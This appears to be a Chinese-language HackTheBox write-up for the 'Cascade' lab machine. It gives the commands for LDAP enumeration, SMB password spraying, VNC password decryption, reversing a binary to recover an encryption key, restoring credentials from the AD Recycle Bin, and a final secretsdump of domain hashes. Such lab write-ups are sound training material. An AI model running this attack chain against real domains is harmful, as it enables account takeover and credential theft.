hackthebox-cascade-235
hackthebox cascade
port scan
使用rustscan做端口扫描,存在开放端口139,445,389,5985等。
services
使用windapsearch枚举389 ldap服务,枚举users,groups,computers以及custom all信息。
1 | mod="users"; windapsearch --dc '10.10.10.182' -u '' -p '' --full -m "${mod}" | tee "${mod}.txt" |

过滤查看查询到的信息,发现存在cascadeLegacyPwd字样,保存着r.thompson的密码。


使用cme根据r.thompson / rY4n5eva凭据尝试登录smb服务,获得共享目录列表(登录成功)。
1 | cme smb '10.10.10.182' -u 'r.thompson' -p 'rY4n5eva' --shares |

可以使用cme查看用户密码策略后,尝试密码喷洒(常规步骤,仅做记录)。
1 | cme smb '10.10.10.182' -u 'r.thompson' -p 'rY4n5eva' --pass-pol |

发现未设置密码锁定次数,则可以密码喷洒,不会锁定账户。未发现其他成果。
1 | cme smb '10.10.10.182' -u './cascade.local.users.lst' -p 'rY4n5eva' --continue-on-success |
使用cme的spider_plus模块爬取smb 共享文件信息。
1 | cme smb '10.10.10.182' -u 'r.thompson' -p 'rY4n5eva' -M spider_plus |

查看这些文件内容,汇总以下信息:
有一个
TempAdmin账户,已经被删除,与管理员账户密码相同存在一个
s.smith账户,它有VNC安装密码hex形式: hex:6b,cf,2a,4b,6e,5a,ca,0f存在一个
ArkSvc账户,此账户做删除操作,此账户删除了TempAdmin账户
根据frizb/PasswordDecrypts文档说明,恢复hex形式的VNC密码。
1 | # Native Linux Tools |

使用cme,以s.smith / sT333ve2 尝试登录smb, winrm, 登录成功时使用spider_plus模块搜集共享文件信息;(标准动作:尝试密码喷洒)
1 | cme smb '10.10.10.182' -u 's.smith' -p 'sT333ve2' --shares |


foothold
wirm能够登录,使用evil-winrm登录,获得交互式pwsh shell.
1 | evil-winrm -i '10.10.10.182' -u 's.smith' -p 'sT333ve2' |

priv esca
发现s.smith可读共享目录Audit$下,存在一些二进制文件和sqllite数据库文件Audit.db.
查看Audit.db数据库中数据,发现ArkSvc密码(加密) BQO5l5Kj9MdErXx6Q6AGOw==,

使用dnspy对CascAudit.exe做逆向,发现需要引入CascCrypto.dll,引入后发现,
此二进制文件的功能是与sqllite数据库交互查询ArkSvc用户的密码后解密,再做其他操作。
解密方法是CascCrypto.dll链接库中的
public static string DecryptString(string EncryptedString, string Key)方法。
Key是c4scadek3y654321,ArkSvc的加密密码是BQO5l5Kj9MdErXx6Q6AGOw== 。

尝试新建C#控制台程序,debug此方法,手动解密密码, 密码是w3lc0meFr31nd。

使用cme以ArkSvc / w3lc0meFr31nd凭据登录smb,winrm.
1 | cme smb '10.10.10.182' -u 'ArkSvc' -p 'w3lc0meFr31nd' |

枚举到ArkSvc用户在AD Recycle Bin组中,与之前收集的信息符合,引入pwsh的ActiveDirectory模块,
调用Get-ADObject方法查询,Recycle Bin中已经删除的对象属性。
1 | Import-Module ActiveDirectory |

得到TempAdmin / baCT3r1aN00dles 凭据。之前收集到的信息TempAdmin密码与普通管理员密码相同,尝试密码喷洒。
1 | impacket-GetADUsers -all -dc-ip '10.10.10.182' 'cascade.local/ArkSvc:w3lc0meFr31nd' | tail -n+6 | awk '{print $1}' | tee ../../dump/cascade.local.users.txt |
喷洒到administrator / baCT3r1aN00dles,与之前掌握的信息符合,(密码喷洒容易触发主机防护告警)。

使用evil-winrm以administrator / baCT3r1aN00dles凭据登录winrm服务。

post
impacket-secretsdump将域内所有用户hash dump到本地。
1 | impacket-secretsdump -outputfile 'cascade.local.secretsdump.txt' -dc-ip '10.10.10.182' -target-ip '10.10.10.182' 'cascade.local/administrator:baCT3r1aN00dles@10.10.10.182' |

hackthebox-cascade-235